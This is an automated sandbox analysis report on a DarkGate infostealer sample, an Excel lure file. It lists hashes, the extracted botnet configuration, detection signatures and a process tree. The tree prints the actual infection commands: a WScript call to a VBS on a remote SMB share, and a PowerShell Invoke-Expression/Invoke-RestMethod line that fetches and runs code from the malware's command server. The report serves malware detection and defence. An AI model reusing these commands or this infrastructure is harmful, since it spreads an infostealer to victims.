darkgate | ad29697a7630a389d8f1476989c0cbd960dd33822e3c8e03fc75a2fbe271d8ab

Analysis

max time kernel
299s
max time network
278s
platform
windows11-21h2_x64
resource
win11-20240221-en
resource tags

arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
submitted
28-02-2024 17:46

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General

Target

scan-28-02-24_4822.xlsx
Size

29KB
MD5

ae47390eb1b35abd3004221b885f5bad
SHA1

b0dae6ce8c37c7a24b39dfb00c6fa326746436c0
SHA256

ad29697a7630a389d8f1476989c0cbd960dd33822e3c8e03fc75a2fbe271d8ab
SHA512

baf115866cccbfdc02c30991c23e1267e8964058d20301b1a27a5dc6b495814d7208d589ed1d7fe838235eca200c5fc39a6571ca84436d8be4e83e11c61e51fd
SSDEEP

768:wnEQpllh7tAafroiianGoHoJ+yWWn0Wht7oK:nQJh7Lro4ntD+0A0K

Score

10^/10

darkgate admin888 stealer

Malware Config

Extracted

Family

darkgate

Botnet

admin888

cayennesxque.boo

Attributes

anti_analysis
true
anti_debug
false
anti_vm
true
c2_port
80
check_disk
true
check_ram
false
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_raw_stub
false
internal_mutex
ekoRFSqn
minimum_disk
50
minimum_ram
7000
ping_interval
6
rootkit
false
startup_persistence
true
username
admin888

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Detect DarkGate stealer 4 IoCs

resource	yara_rule
behavioral1/memory/964-63-0x0000000005CB0000-0x0000000005FFF000-memory.dmp	family_darkgate_v6
behavioral1/memory/964-64-0x0000000005CB0000-0x0000000005FFF000-memory.dmp	family_darkgate_v6
behavioral1/memory/3716-101-0x00000000056F0000-0x0000000005A3F000-memory.dmp	family_darkgate_v6
behavioral1/memory/3716-103-0x00000000056F0000-0x0000000005A3F000-memory.dmp	family_darkgate_v6

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3980	2776	WScript.exe	52
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1244	2776	WScript.exe	52

Blocklisted process makes network request 8 IoCs

flow	pid	Process
11	1492	powershell.exe
12	1492	powershell.exe
13	1492	powershell.exe
14	1492	powershell.exe
19	4416	powershell.exe
20	4416	powershell.exe
21	4416	powershell.exe
22	4416	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 2 IoCs

pid	Process
964	AutoIt3.exe
3716	AutoIt3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 7 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoIt3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoIt3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoIt3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoIt3.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2776	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1492	powershell.exe
1492	powershell.exe
1492	powershell.exe
4416	powershell.exe
4416	powershell.exe
4416	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1492	powershell.exe
Token: SeDebugPrivilege	4416	powershell.exe

Suspicious use of SetWindowsHookEx 17 IoCs

pid	Process
2776	EXCEL.EXE
2776	EXCEL.EXE
2776	EXCEL.EXE
2776	EXCEL.EXE
2776	EXCEL.EXE
2776	EXCEL.EXE
2776	EXCEL.EXE
2776	EXCEL.EXE
2776	EXCEL.EXE
2776	EXCEL.EXE
2776	EXCEL.EXE
2776	EXCEL.EXE
2776	EXCEL.EXE
2776	EXCEL.EXE
2776	EXCEL.EXE
2776	EXCEL.EXE
2776	EXCEL.EXE

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2776 wrote to memory of 3980	2776	EXCEL.EXE	82
PID 2776 wrote to memory of 3980	2776	EXCEL.EXE	82
PID 3980 wrote to memory of 1492	3980	WScript.exe	83
PID 3980 wrote to memory of 1492	3980	WScript.exe	83
PID 1492 wrote to memory of 964	1492	powershell.exe	85
PID 1492 wrote to memory of 964	1492	powershell.exe	85
PID 1492 wrote to memory of 964	1492	powershell.exe	85
PID 2776 wrote to memory of 1244	2776	EXCEL.EXE	86
PID 2776 wrote to memory of 1244	2776	EXCEL.EXE	86
PID 1244 wrote to memory of 4416	1244	WScript.exe	87
PID 1244 wrote to memory of 4416	1244	WScript.exe	87
PID 4416 wrote to memory of 3716	4416	powershell.exe	89
PID 4416 wrote to memory of 3716	4416	powershell.exe	89
PID 4416 wrote to memory of 3716	4416	powershell.exe	89

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\scan-28-02-24_4822.xlsx"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2776
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "\\147.45.197.186\share\scan.vbs"
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3980
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'cayennesxque.boo/qdfjfvph')
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1492
  - - C:\temp\AutoIt3.exe
      "C:\temp\AutoIt3.exe" script.a3x
      4⤵
      Executes dropped EXE
      Checks processor information in registry
      PID:964
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "\\147.45.197.186\share\scan.vbs"
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1244
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'cayennesxque.boo/qdfjfvph')
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4416
  - - C:\temp\AutoIt3.exe
      "C:\temp\AutoIt3.exe" script.a3x
      4⤵
      Executes dropped EXE
      Checks processor information in registry
      PID:3716

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
9a2ebd55cece29a23cfd0c132323e4f1

SHA1
c764fafb19abf4b044944b84611fa26a0cf161a3

SHA256
103b9a43729c625e429b22b9838b4f9aaf82589f9c5ed86621f874025cecea85

SHA512
745778af5a888b6aad6d2bb0d24e13ec932e69428f09811751ac7daf16f686840d32f8d30612a52c2fc0d5b904c3735c0dd17a80537283fe7aefec76c8acfcc1

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
0e11a620ee70025bcfccf0038b870f6e

SHA1
37056ff842cd9aff4b03ea4721e2674d2b9ebecb

SHA256
ca6d76edc7595c917d41863b3f9a8a7d66fd4fa457ec33b266f3c680fa684db6

SHA512
8610ce7c3bbf21aa65932d236fee3d86b9946f7323d886d5277406e883380cde00ad44364b63e3e41a5ec4656f726511113ef9ec166ebf45ee83e29c23d37630

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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1sq1blqv.zmy.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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C:\Users\Admin\AppData\Roaming\hhGGEBA

Filesize
32B

MD5
e4f4f256ffe3e115dfa3c66dd2934e44

SHA1
1d4aced6092a310767d0f170a9ab52081b18660a

SHA256
13d2ef639b032e1063425c1fc92ebe3fc8afdf664231f14c058dc4ad4168f656

SHA512
c07d5ae0be846bf0a9b2cb7366a8cc50a2bba00c6aaf973206267030649e73ac975c5cac4000efcdf4b2a360cfbecfa14e86b1a1f3501c998bbd28ac3e8fd14c

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C:\temp\AutoIt3.exe

Filesize
872KB

MD5
c56b5f0201a3b3de53e561fe76912bfd

SHA1
2a4062e10a5de813f5688221dbeb3f3ff33eb417

SHA256
237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

SHA512
195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

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C:\temp\script.a3x

Filesize
468KB

MD5
5dc0a5b884e44209941ec370406fbcc5

SHA1
b06cf5d11a5a7252afff61c1a787fb27ff126e28

SHA256
68acdae5c94dcfc0adaa1e1965166b3d2b4b8f1f889bce4610dbd1a0b72e2bc9

SHA512
0e11e3281175b0c9bdbe2474830fcd38de05e18e6edac4c1b0cd9c334ced89738c2eaf1bdf90c5e6b08c20faf96a6bdd574a472f81bc84355b69fc60832cbb53

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C:\temp\test.txt

Filesize
76B

MD5
8b428b9d5c33c6ed79386d4c10600cd8

SHA1
0f4bbafe0abe6cf3f3542d49a9eed5db84f9ef7e

SHA256
424ef27370eb401871db935fc3fa3811179f5786fe777182550299aa8230f6b6

SHA512
307e7d4228577259a4cc3874da09408e45401b46739ccaa96e0bd5a0f6aedb362dd97528aa2acc79d3698710d85c283afd0649ec412dcba8c9f8df1339e3b892

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memory/964-64-0x0000000005CB0000-0x0000000005FFF000-memory.dmp

Filesize
3.3MB

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memory/964-63-0x0000000005CB0000-0x0000000005FFF000-memory.dmp

Filesize
3.3MB

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memory/964-62-0x00000000047C0000-0x0000000005790000-memory.dmp

Filesize
15.8MB

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memory/1492-36-0x00000220ED850000-0x00000220ED872000-memory.dmp

Filesize
136KB

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memory/1492-37-0x00007FF864A40000-0x00007FF865502000-memory.dmp

Filesize
10.8MB

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memory/1492-58-0x00007FF864A40000-0x00007FF865502000-memory.dmp

Filesize
10.8MB

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memory/1492-41-0x00000220EE000000-0x00000220EE1C2000-memory.dmp

Filesize
1.8MB

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memory/1492-39-0x00000220ED890000-0x00000220ED8A0000-memory.dmp

Filesize
64KB

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memory/1492-38-0x00000220ED890000-0x00000220ED8A0000-memory.dmp

Filesize
64KB

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memory/2776-42-0x00007FF88C330000-0x00007FF88C3ED000-memory.dmp

Filesize
756KB

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memory/2776-5-0x00007FF84E3F0000-0x00007FF84E400000-memory.dmp

Filesize
64KB

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memory/2776-19-0x00007FF88C330000-0x00007FF88C3ED000-memory.dmp

Filesize
756KB

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memory/2776-20-0x00007FF88E360000-0x00007FF88E569000-memory.dmp

Filesize
2.0MB

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memory/2776-10-0x00007FF88E360000-0x00007FF88E569000-memory.dmp

Filesize
2.0MB

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memory/2776-0-0x00007FF84E3F0000-0x00007FF84E400000-memory.dmp

Filesize
64KB

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memory/2776-18-0x00007FF88E360000-0x00007FF88E569000-memory.dmp

Filesize
2.0MB

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memory/2776-16-0x00007FF88E360000-0x00007FF88E569000-memory.dmp

Filesize
2.0MB

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memory/2776-14-0x00007FF84BB80000-0x00007FF84BB90000-memory.dmp

Filesize
64KB

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memory/2776-40-0x00007FF88E360000-0x00007FF88E569000-memory.dmp

Filesize
2.0MB

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memory/2776-15-0x00007FF88E360000-0x00007FF88E569000-memory.dmp

Filesize
2.0MB

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memory/2776-12-0x00007FF88E360000-0x00007FF88E569000-memory.dmp

Filesize
2.0MB

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memory/2776-11-0x00007FF84BB80000-0x00007FF84BB90000-memory.dmp

Filesize
64KB

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memory/2776-9-0x00007FF88E360000-0x00007FF88E569000-memory.dmp

Filesize
2.0MB

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memory/2776-13-0x00007FF88E360000-0x00007FF88E569000-memory.dmp

Filesize
2.0MB

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memory/2776-17-0x00007FF88E360000-0x00007FF88E569000-memory.dmp

Filesize
2.0MB

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memory/2776-7-0x00007FF84E3F0000-0x00007FF84E400000-memory.dmp

Filesize
64KB

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memory/2776-8-0x00007FF88E360000-0x00007FF88E569000-memory.dmp

Filesize
2.0MB

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memory/2776-6-0x00007FF88E360000-0x00007FF88E569000-memory.dmp

Filesize
2.0MB

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memory/2776-3-0x00007FF84E3F0000-0x00007FF84E400000-memory.dmp

Filesize
64KB

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memory/2776-4-0x00007FF88E360000-0x00007FF88E569000-memory.dmp

Filesize
2.0MB

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memory/2776-1-0x00007FF84E3F0000-0x00007FF84E400000-memory.dmp

Filesize
64KB

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memory/2776-2-0x00007FF88E360000-0x00007FF88E569000-memory.dmp

Filesize
2.0MB

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memory/3716-100-0x0000000004200000-0x00000000051D0000-memory.dmp

Filesize
15.8MB

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memory/3716-101-0x00000000056F0000-0x0000000005A3F000-memory.dmp

Filesize
3.3MB

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memory/3716-103-0x00000000056F0000-0x0000000005A3F000-memory.dmp

Filesize
3.3MB

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memory/4416-80-0x000002BEDFD90000-0x000002BEDFDA0000-memory.dmp

Filesize
64KB

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memory/4416-79-0x000002BEDFD90000-0x000002BEDFDA0000-memory.dmp

Filesize
64KB

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memory/4416-96-0x00007FF864A40000-0x00007FF865502000-memory.dmp

Filesize
10.8MB

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memory/4416-78-0x00007FF864A40000-0x00007FF865502000-memory.dmp

Filesize
10.8MB

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